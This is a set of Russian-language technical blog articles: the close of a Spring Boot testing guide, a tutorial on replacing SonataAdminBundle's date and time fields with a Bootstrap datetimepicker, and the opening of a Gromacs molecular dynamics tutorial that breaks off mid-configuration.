С помощью JUnit 5 `vintage-engine` ваш набор тестов может содержать как тесты JUnit 3/4, так и JUnit Jupiter, но каждый тестовый класс может использовать только одну конкретную версию JUnit. Рассмотрите возможность миграции существующих тестов, чтобы использовать [**различные новые функции JUnit Jupiter**](https://rieckpil.de/five-junit-5-features-you-might-not-know-yet/) (параметризованные тесты, распараллеливание, модель расширения и т. д.). Вы можете постепенно мигрировать свой набор тестов, так как вы можете запускать тесты JUnit 3/4 рядом с тестами JUnit 5.
Документация JUnit включает [**советы по миграции JUnit 4**](https://junit.org/junit5/docs/current/user-guide/#migrating-from-junit4), а также имеются инструменты ([**JUnit Pioneer**](https://github.com/junit-pioneer/convert-junit4-to-junit5) или эта [**функция IntelliJ**](https://www.youtube.com/watch?v=F8UTTTDtbH0)) для автоматической миграции тестов (например, импорт или проверки утверждений).
После того, как вы мигрировали свой набор тестов на JUnit 5, важно исключить любое появление устаревшей версии JUnit. Не все в вашей команде могут постоянно обращать пристальное внимание на импорт библиотек тестирования. Чтобы избежать случайного смешивания разных версий JUnit, исключение их из вашего проекта помогает всегда выбирать правильный импорт:
```
org.springframework.boot
spring-boot-starter-test
test
org.junit.vintage
junit-vintage-engine
```
Кроме Spring Boot Starter Test другие зависимости тестования также могут включать более старые версии JUnit:
```
org.testcontainers
junit-jupiter
${testcontainers.version}
junit
junit
```
Чтобы избежать (случайного) включения зависимостей JUnit 4 в будущем, вы можете использовать [**Maven Enforcer Plugin**](https://rieckpil.de/top-3-maven-plugins-to-ensure-quality-and-security-for-your-project/) и определить его как запрещенную зависимость. Это приведет к сбою сборки, как только кто-то включит новую тестовую зависимость, которая транзитивно потянет JUnit 4.
Обратите внимание, что, начиная с Spring Boot 2.4.0, зависимость Spring Boot Starter Test больше не включает `vintage-engine` файл по умолчанию.
### Интеграционные тесты с Spring Boot: @SpringBootTest
С помощью интеграционных тестов вы обычно тестируете несколько компонентов вашего приложения в комбинации. Большая часть времени вы будете использовать `@SpringBootTest` аннотацию для этой цели и доступ к приложению с *внешней стороны* с помощью либо `WebTestClient` или `TestRestTemplate`.
`@SpringBootTest` будет [**заполнять весь контекст приложения**](https://rieckpil.de/guide-to-springboottest-for-spring-boot-integration-tests/) для теста. При использовании этой аннотации важно понимать атрибут `webEnvironment`. Без указания этого атрибута такие тесты не будут запускать встроенный контейнер сервлетов (например, Tomcat) и вместо этого будут использовать имитацию среды сервлетов. Следовательно, ваше приложение не будет доступно через локальный порт.
Вы можете переопределить это поведение, указав либо, `DEFINE_PORT` либо `RANDOM_PORT`:
Для интеграционных тестов, которые запускают встроенный контейнер сервлетов, вы можете затем внедрить порт своего приложения и получить к нему доступ *извне,* используя `TestRestTemplate` или `WebTestClient`:
```
@SpringBootTest(webEnvironment = WebEnvironment.RANDOM_PORT)
class ApplicationTests {
@LocalServerPort
private Integer port;
@Autowired
private TestRestTemplate testRestTemplate;
@Test
void accessApplication() {
System.out.println(port);
}
}
```
Поскольку `TestContext` Spring фреймворка будет заполнять весь контекст приложения, вы должны убедиться, что присутствуют все зависимые компоненты инфраструктуры (например, база данных, очереди сообщений и т. д.).
Здесь в [игру](https://www.testcontainers.org/) вступают [**Testcontainers**](https://www.testcontainers.org/). Testcontainers будет управлять жизненным циклом любого Docker контейнера для вашего теста:
```
@Testcontainers
@SpringBootTest(webEnvironment = WebEnvironment.RANDOM_PORT)
public class ApplicationIT {
@Container
public static PostgreSQLContainer postgreSQLContainer = new PostgreSQLContainer()
.withPassword("inmemory")
.withUsername("inmemory");
@DynamicPropertySource
static void postgresqlProperties(DynamicPropertyRegistry registry) {
registry.add("spring.datasource.url", postgreSQLContainer::getJdbcUrl);
registry.add("spring.datasource.password", postgreSQLContainer::getPassword);
registry.add("spring.datasource.username", postgreSQLContainer::getUsername);
}
@Test
public void contextLoads() {
}
}
```
Для ознакомления с Testcontainers рассмотрите следующие ресурсы:
* [**Написание тестов интеграции Spring Boot с помощью Testcontainers**](https://rieckpil.de/howto-write-spring-boot-integration-tests-with-a-real-database/)
* [**Тестирование приложений Spring Boot с помощью Kotlin и Testcontainers**](https://rieckpil.de/testing-spring-boot-applications-with-kotlin-and-testcontainers/)
* [**Стратегии инициализации с помощью тестовых контейнеров для интеграционных тестов**](https://rieckpil.de/initialization-strategies-with-testcontainers-for-integration-tests/)
Если ваше приложение обменивается данными с другими системами, вам нужно решение для имитации этого HTTP-взаимодействия. Это довольно часто бывает, когда вы, например, получаете данные из удаленного REST API или токенов доступа OAuth2 при запуске приложения. С помощью [**WireMock**](https://rieckpil.de/spring-boot-integration-tests-with-wiremock-and-junit-5/) вы можете [**заглушить**](https://rieckpil.de/spring-boot-integration-tests-with-wiremock-and-junit-5/) и подготовить HTTP-ответы для имитации удаленной системы.
Кроме того, `TestContext` Spring фреймворк имеет удобную функцию кеширования и повторного использования, а также уже запущенный контекст. Это может помочь [**сократить время сборки**](https://rieckpil.de/improve-build-times-with-context-caching-from-spring-test/) и значительно улучшить циклы обратной связи.
### Сквозные тесты с Spring Boot
Целью сквозных (E2E) тестов является проверка системы с точки зрения пользователя. Сюда входят тесты для основных сценариев работы пользователя (например, размещение заказа или создание нового клиента). По сравнению с интеграционными тестами такие тесты обычно включают пользовательский интерфейс (если он есть).
Вы также можете выполнить тесты E2E для развернутой версии приложения, например, в среде `dev` или `staging` прежде чем приступить к развертыванию в рабочей среде.
Для приложений, которые используют рендеринг на стороне сервера (например, Thymeleaf) или автономной системы, когда серверная часть Spring Boot обслуживает интерфейс, вы можете использовать `@SpringBootTest для`этих тестов.
Как только вам нужно взаимодействовать с браузером, Selenium обычно является выбором по умолчанию. Если вы какое-то время работали с Selenium, вы сможете обнаружить, что снова и снова реализуете одни и те же вспомогательные функции. Для лучшего взаимодействия с разработчиками и уменьшения головной боли при написании тестов, предполагающих взаимодействие с браузером, рассмотрите [**вариант Selenide**](https://rieckpil.de/write-concise-web-tests-with-selenide-for-java-projects/). Selenide - это абстракция поверх низкоуровневого API Selenium для написания стабильных и кратких тестов браузера.
Следующий тест демонстрирует, как получить доступ и протестировать общедоступную страницу приложения Spring Boot с помощью Selenide:
```
@Testcontainers
@SpringBootTest(webEnvironment = WebEnvironment.RANDOM_PORT)
public class BookStoreTestcontainersWT {
@LocalServerPort
private Integer port;
@Test
public void shouldDisplayBook() {
Configuration.timeout = 2000;
Configuration.baseUrl = "http://localhost:" + port;
open("/book-store");
$(By.id("all-books")).shouldNot(Condition.exist);
$(By.id("fetch-books")).click();
$(By.id("all-books")).shouldBe(Condition.visible);
}
}
```
Вы можете найти больше информации о Selenide в [**этом сообщении в блоге**](https://rieckpil.de/write-concise-web-tests-with-selenide-for-java-projects/).
Для компонентов инфраструктуры, которые необходимо запустить для тестов E2E, Testcontainers играет большую роль. Если вам нужно запустить несколько [Docker](https://www.testcontainers.org/modules/docker_compose/) контейнеров, вам пригодится [**модуль Docker Compose из Testcontainers**](https://www.testcontainers.org/modules/docker_compose/) :
```
public static DockerComposeContainer environment =
new DockerComposeContainer<>(new File("docker-compose.yml"))
.withExposedService("database_1", 5432, Wait.forListeningPort())
.withExposedService("keycloak_1", 8080, Wait.forHttp("/auth").forStatusCode(200)
.withStartupTimeout(Duration.ofSeconds(30)))
.withExposedService("sqs_1", 9324, Wait.forListeningPort());
```
### Резюме
Spring Boot предлагает отличную поддержку как для модульного, так и для интеграционного тестирования. Это делает тестирование первоклассным гражданином, поскольку каждый проект Spring Boot включает в себя Spring Boot Starter Test. Этот стартер подготовит ваш базовый набор инструментов для тестирования с необходимыми библиотеками тестирования.
Кроме того, аннотации Spring Boot test упрощают написание тестов для различных частей вашего приложения. Вы получите специально созданный Spring `TestContext` только с соответствующими Spring beans.
Чтобы познакомиться с модульными и интеграционными тестами для ваших проектов Spring Boot, рекомендуются следующие шаги:
* Изучите и поймите основы JUnit и [**Mockito**](https://rieckpil.de/hands-on-mocking-with-mockito-online-course/)
* Избегайте ловушки JUnit 4 и JUnit 5.
* Ознакомьтесь с [**различными аннотациями тестирования Spring Boot,**](https://rieckpil.de/spring-boot-test-slices-overview-and-usage/) которые автоматически настраивают фрагменты контекста.
* [**WireMock**](https://rieckpil.de/spring-boot-integration-tests-with-wiremock-and-junit-5/), [**Testcontainers**](https://rieckpil.de/tag/testcontainers/) и [**Selenide**](https://rieckpil.de/write-concise-web-tests-with-selenide-for-java-projects/) помогут в ваших задачах по интеграционному и сквозному тестированию.
* Узнайте, как [**Spring TestContext Caching**](https://rieckpil.de/improve-build-times-with-context-caching-from-spring-test/) может помочь сократить общее время выполнения вашего набора тестов.
Если ваш тест по-прежнему не выполняет то, что вы ожидаете, не сокращайте свои усилия по тестированию, оправдывая это тем, что Spring Boot - это *слишком много магии*. Как в [**документации Spring**](https://docs.spring.io/spring-framework/docs/current/reference/html/testing.html), так и в различных блогах доступен отличный материал.
Кроме того, активность сообщества на Stack Overflow для таких тегов, как `spring-test`, `spring-boot-test`или `spring-test-mvc`, довольно хороша, и есть большая вероятность, что вы получите помощь. Я также часто отвечаю на вопросы, связанные с тестированием, на Stack Overflow.
Удачного модульного и интеграционного тестирования с помощью Spring Boot, | https://habr.com/ru/post/561520/ | null | ru | null |
# Внедряем Bootstrap 3 Datepicker в SonataAdminBundle
В этой маленькой заметке я расскажу о том, как подключить [удобный datepicker](http://eonasdan.github.io/bootstrap-datetimepicker/) в админку Symfony. По умолчанию datepicker в SonataAdminBundle выглядит так:
А мы его превратим в удобные и красивые контролы:
Те, кто еще мучаются с неудобным datepicker-ом, добро пожаловать под кат.
*Если вам не нужен выбор времени, то вы может воспользоваться готовым [решением](https://sonata-project.org/bundles/core/master/doc/reference/form_types.html#sonata-type-date-picker-and-sonata-type-datetime-picker), спасибо [dmkuznetsov](http://habrahabr.ru/users/dmkuznetsov/)*
Я не буду рассказывать о том, как установить SonataAdminBundle, об этом можно прочитать в [этой статье](http://habrahabr.ru/post/136659/). Я предполагаю, что у вас уже установлено приложение и админка. Ну чтож, приступим.
#### Тип поля datetime
Первое с чего стоит начать это создание нового поля формы как [описано в документации](http://symfony.com/doc/2.7/cookbook/form/create_custom_field_type.html). Его нужно обязательно создавать в namespace *\\Form\Type\* иначе будет ругаться [SensioLabsInsight](https://insight.sensiolabs.com/) при тестировании.
```
namespace Acme\Bundle\DemoBundle\Form\Type\Field;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormView;
use Symfony\Component\Form\FormInterface;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolver;
use Symfony\Component\Form\DataTransformerInterface;
// Symfony >=2.8
//use Symfony\Component\Form\Extension\Core\Type\TextType;
class DateTime extends AbstractType implements DataTransformerInterface
{
public function buildForm(FormBuilderInterface $builder, array $options)
{
// результатом заполнения форму является строка и ее необходимо конвертировать в \DateTime
$builder->addModelTransformer($this);
}
public function transform($value)
{
return $value; // нужно для интерфейса DataTransformerInterface
}
public function reverseTransform($value)
{
// собственно конвертирование значения в \DateTime
return $value instanceof \DateTime ? $value : new \DateTime($value);
}
public function buildView(FormView $view, FormInterface $form, array $options)
{
// объект даты нужно преобразовать в строку
if ($form->getData() instanceof \DateTime) {
$view->vars['value'] = $form->getData()->format('Y-m-d H:i');
}
// css класс для bootstrap форм
$view->vars['attr']['class'] = 'form-control';
}
public function configureOptions(OptionsResolver $resolver)
{
// без указания data_class не работает DataTransformer
$resolver->setDefaults([
'data_class' => \DateTime::class
]);
}
public function getParent()
{
// Symfony >=2.8
//return TextType::class;
// Symfony <2.8
return 'text';
}
public function getName()
{
return 'datetime'; // мы потом перегрузим стандартный datetime
}
}
```
Я не делал перенос стандартных [опций datetime](http://symfony.com/doc/2.7/reference/forms/types/datetime.html) в новый класс за ненадобностью, но вы можете это сделать если вам это необходимо. В разделе [Тип поля Time](#field-time) я опишу как это сделать на примере опции [with\_seconds](http://symfony.com/doc/2.7/reference/forms/types/time.html#with-seconds).
Следующим пунктом нашей программы будет создание общего шаблон форм (темы для форм). В нем мы наследуемся от темы Sonata и переопределим шаблон даты. Шаблон сохраняем в файд *Resources/views/Form/fields.html.twig* . Можно выбрать и другой путь, но мне так привычней.
```
{% extends 'SonataAdminBundle:Form:form_admin_fields.html.twig' %}
{% block datetime_widget %}
{% spaceless %}
{% endspaceless %}
{% endblock datetime_widget %}
```
Класс **form-field-datetime** нам потом будет нужен для навешивания JavaScript. Теперь укажем Sonata что ей необходимо использовать другую тему для форм прописав в конфиге *app/config/config.yml* следующие строчки:
```
sonata_doctrine_orm_admin:
templates:
form: [ AcmeDemoBundle:Form:fields.html.twig ]
```
Не забываем создать сервис для нового поля формы:
```
acme.demo.form.type.datetime:
class: Acme\Bundle\DemoBundle\Form\Type\Field\DateTime
public: false
```
Мы не создаем метку для сервиса как описано [тут](http://symfony.com/doc/2.7/cookbook/form/create_custom_field_type.html#creating-your-field-type-as-a-service) потому что мы не создаем новое поля и будем перегружать старое. По той же причине он нам не нужен в публичном доступе. Теперь приступим к перезаписи стандартных полей формы. Создадим компилятор для DI контейнера:
```
namespace Acme\Bundle\DemoBundle\DependencyInjection\Compiler;
use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
use Symfony\Component\DependencyInjection\ContainerBuilder;
class FormTypePass implements CompilerPassInterface
{
public function process(ContainerBuilder $container)
{
$container->setAlias('form.type.datetime', 'acme.demo.form.type.datetime');
}
}
```
Здесь мы указываем что **form.type.datetime** является псевдонимом для нашего, вновь созданного сериса **acme.demo.form.type.datetime**. Таким образом когда в формах мы будем создавать поле типа **datetime** будет использоваться наш сервис. Так мы меняем контрол не меняя код проекта. Теперь подключим компилятор в бандл:
```
namespace Acme\Bundle\DemoBundle
use Symfony\Component\HttpKernel\Bundle\Bundle;
use Symfony\Component\DependencyInjection\ContainerBuilder;
use Acme\BundleDemoBundle\DependencyInjection\Compiler\FormTypePass;
class AcmeDemoBundle extends Bundle
{
public function build(ContainerBuilder $container)
{
parent::build($container);
$container->addCompilerPass(new FormTypePass());
}
}
```
Сейчас datepicker уже имеет красивую и удобную форму, осталось только навесить JavaScript для открытия выпадающего окна с выбором даты.
Устанавливать мы будем [Bootstrap 3 Datepicker](http://eonasdan.github.io/bootstrap-datetimepicker/) который есть на [packagist.org](https://packagist.org/packages/eonasdan/bootstrap-datetimepicker), за что им большое спасибо. Пропишем зависимость в composer.json:
```
{
"require": {
…
"eonasdan/bootstrap-datetimepicker": "~4.17.37",
…
}
}
```
При такой установки пакета его удобней подключать через **assetic** что мы и сделаем. Прописываем в *app/config/config.yml* следующие строчки:
```
assetic:
assets:
admin-js:
inputs:
- '%kernel.root_dir%/../vendor/eonasdan/bootstrap-datetimepicker/build/js/bootstrap-datetimepicker.min.js'
- '@AcmeDemoBundle/Resources/public/js/admin.js'
output: js/admin.js
sonata_admin:
templates:
layout: AcmeDemoBundle:Admin:standard_layout.html.twig
```
Мы определили файл *js/admin.js* в который будет билдиться наш datepicker и JavaScript код который его инициализирует и навешивает на соответствующие поля формы. Этот файл будет лежать по адресу *web/js/admin.js*. Так же мы переопределили лайаут Sonata для того что бы подключить наш JavaScript. Давайте этим и займемся:
```
{% extends 'SonataAdminBundle::standard_layout.html.twig' %}
{% block javascripts %}
{{ parent() }}
{% endblock %}
```
Теперь мы создадим файл *Resources/public/js/admin.js* в котором обвяжем наши поля формы JavaScript-ом.
```
$(function(){
$('.form-field-datetime').datetimepicker({
format: 'YYYY-MM-DD HH:mm',
locale: 'ru'
});
});
```
Вот собственно и все. Выполняем сбору assetic и радуемся жизни:
```
app/console assetic:dump web --no-debug
```
#### Тип поля date
По аналогии создаем поле date с небольшими отличиями. Класс для поля формы:
```
namespace Acme\Bundle\DemoBundle\Form\Type\Field;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormView;
use Symfony\Component\Form\FormInterface;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolver;
use Symfony\Component\Form\DataTransformerInterface;
// Symfony >=2.8
//use Symfony\Component\Form\Extension\Core\Type\TextType;
class Date extends AbstractType implements DataTransformerInterface
{
public function buildForm(FormBuilderInterface $builder, array $options)
{
$builder->addModelTransformer($this);
}
public function transform($value)
{
return $value;
}
public function reverseTransform($value)
{
return $value instanceof \DateTime ? $value : new \DateTime($value);
}
public function buildView(FormView $view, FormInterface $form, array $options)
{
if ($form->getData() instanceof \DateTime) {
$view->vars['value'] = $form->getData()->format('Y-m-d');
}
$view->vars['attr']['class'] = 'form-control';
}
public function configureOptions(OptionsResolver $resolver)
{
$resolver->setDefaults([
'data_class' => \DateTime::class
]);
}
public function getParent()
{
// Symfony >=2.8
//return TextType::class;
// Symfony <2.8
return 'text';
}
public function getName()
{
return 'date';
}
}
```
Шаблон:
```
{% block date_widget %}
{% spaceless %}
{% endspaceless %}
{% endblock date_widget %}
```
Сервис:
```
acme.demo.form.type.date:
class: Acme\Bundle\DemoBundle\Form\Type\Field\Date
public: false
```
Добавляем псевдоним:
```
// ..
class FormTypePass implements CompilerPassInterface
{
public function process(ContainerBuilder $container)
{
// ..
$container->setAlias('form.type.date', 'acme.demo.form.type.date');
}
}
```
Ну и JavaScript:
```
$(function(){
// ..
$('.form-field-date').datetimepicker({
format: 'YYYY-MM-DD',
locale: 'ru'
});
});
```
#### Тип поля time
По аналогии с предыдущими, но с небольшими отличиями. В нашем проекте публикуются видео ролики и необходимо в админке указывать их продолжительность. Для этого мы используем поле time и выставляем ему опцию [with\_seconds](http://symfony.com/doc/2.7/reference/forms/types/time.html#with-seconds) в *true*. В новом поле формы нужно было сохранить эту функциональность.
```
namespace Acme\Bundle\DemoBundle\Form\Type\Field;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormView;
use Symfony\Component\Form\FormInterface;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolver;
use Symfony\Component\Form\DataTransformerInterface;
// Symfony >=2.8
//use Symfony\Component\Form\Extension\Core\Type\TextType;
class Time extends AbstractType implements DataTransformerInterface
{
public function buildForm(FormBuilderInterface $builder, array $options)
{
$builder->addModelTransformer($this);
}
public function transform($value)
{
return $value;
}
public function reverseTransform($value)
{
return $value instanceof \DateTime ? $value : new \DateTime($value);
}
public function buildView(FormView $view, FormInterface $form, array $options)
{
if ($form->getData() instanceof \DateTime) {
// формат даты соответственно различается
$view->vars['value'] = $form->getData()->format($options['with_seconds'] ? 'H:i:s' : 'H:i');
}
$view->vars['attr']['class'] = 'form-control';
// сохраняем переменную для шаблона
$view->vars['with_seconds'] = $options['with_seconds'];
}
public function configureOptions(OptionsResolver $resolver)
{
$resolver->setDefaults([
'data_class' => \DateTime::class,
'with_seconds' => false // по умолчанию опция выключена
]);
}
public function getParent()
{
// Symfony >=2.8
//return TextType::class;
// Symfony <2.8
return 'text';
}
public function getName()
{
return 'time';
}
}
```
Шаблон:
```
{% block time_widget %}
{% spaceless %}
{% endspaceless %}
{% endblock time_widget %}
```
Сервис:
```
acme.demo.form.type.time:
class: Acme\Bundle\DemoBundle\Form\Type\Field\Time
public: false
```
Добавляем псевдоним:
```
// ..
class FormTypePass implements CompilerPassInterface
{
public function process(ContainerBuilder $container)
{
// ..
$container->setAlias('form.type.time', 'acme.demo.form.type.time');
}
}
```
JavaScript будет немного отличатся:
```
$(function(){
// ..
$('.form-field-time') .each(function () {
var el = $(this),
options = {locale: 'ru'};
if (el.data('with-seconds') == 1) {
options.format = 'HH:mm:ss';
} else {
options.format = 'HH:mm';
}
el.datetimepicker(options);
});
```
#### Заключение
В место заключения скажу, что есть очень интересная библиотека [ClockPicker](https://weareoutman.github.io/clockpicker/) для выбора времени. Если она вас заинтересует, то вы с легкостью сможете подключить ее по моим примерам. | https://habr.com/ru/post/272513/ | null | ru | null |
# Моделирование методом молекулярной динамики в пакете Gromacs
Иногда хочется занять свой ноутбук чем-нибудь полезным, да и так чтобы с работой помогало. Несколько лет назад, в университете сталкивался бегло с моделирование методом молекулярной динамики в gromacs, это хоть и не совсем то, но уже можно было притянуть за уши к моей работе. Русскоязычной информации по запуску моделирования в gromacs удалось найти крайне мало, примерно столько же и в глобальном масштабе, все в основном обсуждают уж очень глубокие/тонкие моменты. В итоге решил разобраться в нем, а заодно и написать краткое руководство, по использованию gromacs.
Преследуемая цель статьи — популяризировать [Gromacs](http://www.gromacs.org/) в широких кругах. Цели сделать полный охват метода и возможностей пакета нету, потому это будет краткий экскурс ~~плохая методичка~~, с установками и запуском.
#### Немного слов… или зачем нам все это надо
Если говорить о моделировании атомных или молекулярных структур, то практически все методы можно разделить на две группы: Квантово-механические методы и методы молекулярной динамики. Отличие этих групп принципиальное.
Квантово-механические методы основываются на использовании квантовой механики. Используемые в них расчеты ведутся либо из “честных/точных” квантовых уравнений, либо из их некоторых приближений, которые делаются для ускорения расчетов. Стоит отметить, что данные методы могут считать химические реакции т.е. превращения одних веществ в другие с достаточно высокой точностью. Под точностью следует понимать значения энергий связей в системе, разницы до и после реакции. Для лучшего представления точности метода знаю, что бывали ситуации когда посчитанное значение оказывалось точнее измеренного экспериментального. Т.е. более точные эксперименты в будущем подтверждали квантово-механические расчеты. Но данные методы имеют существенный недостаток это требование к большой вычислительной мощности(на “не супер компьютерах” системы в тысячу атомов имеют не приличные времена расчетов). Какие-то цифры по системам я привести не могу, подзабыл.
Молекулярная-динамика основывается на классической ньютоновской механике. Т.е. все взаимодействия считаются классическим образом из “простых” уравнений. В этом и слабость и сила метода. С одной стороны это дает возможности моделировать системы с миллионами атомов. С другой стороны расчеты идут только на уровне межмолекулярного взаимодействия и расчет хим реакций «не возможны», в отличии от квантовой химии, где считается «всё».
##### Примеры использования gromacs:
Слипание полиэтилена:
**Замерзание воды**
**ДНК в воде**
Начнем с установки, т.к. она в принципе может вызвать трудности
### Установка
**Установка gromacs**
Можно поставить какую-то сборку из репозитория:
```
sudo apt-get install gromacs
```
но для хорошей производительности рекомендую произвести сборку самостоятельно, под свое железо(у меня это i5-3210M, geforce 620m):
**почему:**при сборке указывается какие процессорные команды разрешены, использовать или нет видеокарту итп. У меня производительность собранной версии в 2 раза выше по сравнению с репозиторной, в основном конечно из-за использования видеокарты
[Скачиваем](http://www.gromacs.org/Downloads) последнюю, стабильную версию программы, в моем случае это gromacs 5.0.4. Распаковываем и создаем папку для сборки:
```
tar xfz gromacs-5.0.4.tar.gz
cd gromacs-5.0.4
mkdir build
cd build
```
далее самый важный момент, из-за которого весь этот неприглядный процесс и затеян — выбор используемых комманд процессора, методов расчета, использования видеокарты итп. Подробнее о используемых методах указано в [документации](http://www.gromacs.org/Documentation/Installation_Instructions) к установке. По порядку, используем для настройки cmake:
* использование FFTW: -DGMX\_BUILD\_OWN\_FFTW=ON -DGMX\_FFT\_LIBRARY=FFTW
* выбираем набор процессорных команд, для моего процессора это avx и соответствующая запись -GMX\_SIMD=AVX\_256 ([другие](http://www.gromacs.org/Documentation/Installation_Instructions#simd-support))
* поддержка видеокарты -DGMX\_GPU=ON -DCUDA\_TOOLKIT\_ROOT\_DIR=/usr/lib/nvidia-cuda-toolkit/ путь до cuda toolkit
* -DCMAKE\_INSTALL\_PREFIX=/usr/local/ выбираем папку установки. Если посмотреть на значения по-умолчанию, то можно увидеть, что установка произведется в /usr/local/gromacs/, что потребует дополнительного прописывания путей, для запуска, потому просто отправляем его в /usr/local.
Настраиваем, собираем и устанавливаем:
**checkinstall**при использовании chekinstall необходимо, как минимум указать название программы и её версию, чтобы не было конфликтов (gromacs 5.0.4 — у меня соответственно)
```
cmake .. -DGMX_BUILD_OWN_FFTW=ON -DGMX_FFT_LIBRARY=fftw3 -DGMX_SIMD=AVX_256 -DGMX_GPU=ON -DCUDA_TOOLKIT_ROOT_DIR=/usr/lib/nvidia-cuda-toolkit/ -DCMAKE_INSTALL_PREFIX=/usr/local/
make -j2
sudo checkinstall
```
Если на каком-то шаге начинает ругаться об отсутствующих пакетах — ставим их. У меня ни на что не срыгнулась, хотя ставил на свежую ubuntu 14.04, так что все должно пройти «гладко».
**Проверяем**
```
user@user-300E5C:~/source/gromacs-5.0.4/build$ grompp
GROMACS: gmx grompp, VERSION 5.0.4
GROMACS is written by:
.....
GROMACS: gmx grompp, VERSION 5.0.4
Executable: /usr/local/bin/gmx
Library dir: /usr/local/share/gromacs/top
Command line:
grompp
-------------------------------------------------------
Program grompp, VERSION 5.0.4
Source code file: /home/user/MODELING/source/gromacs-5.0.4/src/gromacs/fileio/futil.cpp, line: 545
File input/output error:
grompp.mdp
For more information and tips for troubleshooting, please check the GROMACS
```
Программа ругается на отсутствие входных файлов, что и ожидалось.
Подробнее о установке можно найти ~~или не найти~~ в [документации](http://www.gromacs.org/Documentation/Installation_Instructions).
**Установка VMD**
VMD это программа визуализации молекул, т.е. просмотра результатов моделирования. Итак регистрируемся на сайте и скачиваем нужную нам версию [VMD](http://www.ks.uiuc.edu/Development/Download/download.cgi?PackageName=VMD), рекомендую с поддержкой GPU.
Распаковываем, меняем если нужно пути установки и ставим, не забывая поменять название пакета на vmd и указать версию, при использовании checkinstall
```
cd vmd 1.9.1
./configure
cd src
sudo checkinstall
```
Будем считать что этого нам достаточно и приступим к моделированию.
### Моделирование
Моделирование можно разбить на несколько этапов.
* Решить что будет моделироваться и с какой целью, отсюда будут отталкиваться параметры моделирования.
* Найти/сделать файл с координатами молекул/ы (gro pdb)
* Создание топологии молекулы — т.е. сделать описание связей итп. Фактически сказать пакету gromacs с чем он будет работать
* Запуск моделирования
+ релаксация
+ само моделирование
* Анализ
Точно по пунктам порбегаться в статье не буду, т.к допустим отличия релаксации и самого моделирования только в конфигурационном файле, а анализ дело специфическое и длинное…
#### Вода
Для наглядности попробуем смоделировать очень простую систему — воду. Координатный файл и файл топологии молекулы воды есть в силовых полях, которые вшиты в сам пакет. Т.к. моделирование чего-либо в воде производится достаточно часто, то существует несколько типов моделей воды и одна из лучших это tip4p-ew. Эту модель воды мы и будем использовать.
В папке громакса, уже есть отрелаксированная модель в 216 молекул воды, её и будем использовать.
```
:~/computate/$ mkdir water_sug water_sug/water water_sug/sug
:~/computate/$ cd water_sug/water
:~/computate/water_sug/water/$ cp /usr/local/share/gromacs/top/tip4p.gro h2o_216.gro
:~/computate/water_sug/water/$ genconf -f h2o_216.gro -nbox 2 2 2 -o h2o_1728.gro
```
Была скопирована отрелаксированная вода, в 216 молекул, далее она была размножена в трех направлениях «на еще одну», получился итоговый файл в 1728 молекул воды. Метод genconf является методом громакса, его описание можно найти в документации.
Наглядно посмотрим за тем, что было сделано:
```
vmd h2o_216.gro
```
открывшаяся картинка, не очень не очень красива, сделаем по лучше, для этого откроем graphics->representation и выберем в «drawing method»: VDW
теперь посмотрим, на большую картину «большой» файл воды, отжав D в отображении прошлого и используя file->new molecule, и так же меняем тип отрисовки атомов:
Теперь её отрелаксируем(т.к. 8 блоков на стыках скорее всего не отрелаксированны): для этого потребуются файлы параметра моделирования и топология молекулы, т.е. файлы отражающие то, какие связи в молекуле существуют, какие силы и на что могут действовать итп. Использовать будем поле сил OPLS/AA.
**Краткая теория**Для избегания возникновения граничных эффектов используется периодические боксы, т.е. на граниах система сталкивается сама с собой. Т.к. моделирование производится в какой-то среде, у которой есть температура, давление, то существуют методы привода к указанным параметрам. Это так называемые баростаты и термостаты, они бывают разных видов и используются на разных этапах моделирования.
Кулоновские сил распространяются на бесконечность, но при этом быстро спадают, потом используется так называемый радиус обрезания или верлет(подробнее в документации).
Для расчетов существует несколько разных алгоритмов, которые отличаются скоростью, и параметрами работы. Допустим некоторые алгоритмы не могут работать не сильно «дестабилизированных» системах, но при этом очень быстрые, когда система в некотором смысле стабильна. Другие же алгоритмы невероятно медлительны, но могут вывести систему из сильного отклонения в слабое итп.
Поля сил — это набор эмпирических параметров описывающих внутри и межмолекулярные взаимодействия, по сути это числа в [лернард-джонсовское](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%82%D0%B5%D0%BD%D1%86%D0%B8%D0%B0%D0%BB_%D0%9B%D0%B5%D0%BD%D0%BD%D0%B0%D1%80%D0%B4-%D0%94%D0%B6%D0%BE%D0%BD%D1%81%D0%B0) взимодействие(или морзе или...), а так же параметры связи в молекуле. Т.е. сила стягивания связи, её длина, сила удержания плоских и двугранных углов итп. Все эти вещи достаточно подробно описаны в документации, а так же легко найти их описания на русском.
Разработчики рекомендуют, если не известно что нужно — использовать поле opls/aa.
Cоздаем файл описывающий топологию используемой системы:
**topol.top**
```
; Include forcefield parameters
#include "oplsaa.ff/forcefield.itp" ;указываем какое поле использовать
#include "oplsaa.ff/tip4p.itp" ; говорим где находится топология воды
[ system ]
water1728 ;название системы
[ molecules ]
SOL 1728 ;говорим сколько типов молекул в системе, которые указаны в топологии воды+название
```
Создаем папку для релаксации equi, в ней файл параметров моделирования следующего содержания:
**grompp.mdp**
```
;
title = water ; a string
; Run parameters
integrator = md ; leap-frog integrator
nsteps = 5000 ; 10 ps
dt = 0.002 ; 2 fs
; Output control
nstxout = 0 ; save coordinates every 0 ps
nstvout = 0 ; save velocities every 0 ps
nstxtcout = 100 ; save coordinates in compressed format every 0.2 ps
nstenergy = 100 ; save energies every 0.2 ps
nstlog = 100 ; update log file every 0.2 ps
; Neighborsearching
ns_type = grid ; search neighboring grid cels
nstlist = 5 ; 10 fs
rlist = 1.2 ; short-range neighborlist cutoff (in nm)
rcoulomb = 1.2 ; short-range electrostatic cutoff (in nm)
rvdw = 1.2 ; short-range van der Waals cutoff (in nm)
DispCorr = EnerPres ; long range dispersion corrections for Energy and Pressure
; Electrostatics
coulombtype = PME ; Particle Mesh Ewald for long-range electrostatics
pme_order = 4 ; cubic interpolation
fourierspacing = 0.12 ; grid spacing for FFT
optimize_fft = yes
ewald_rtol = 1.0e-5
; Temperature coupling is on
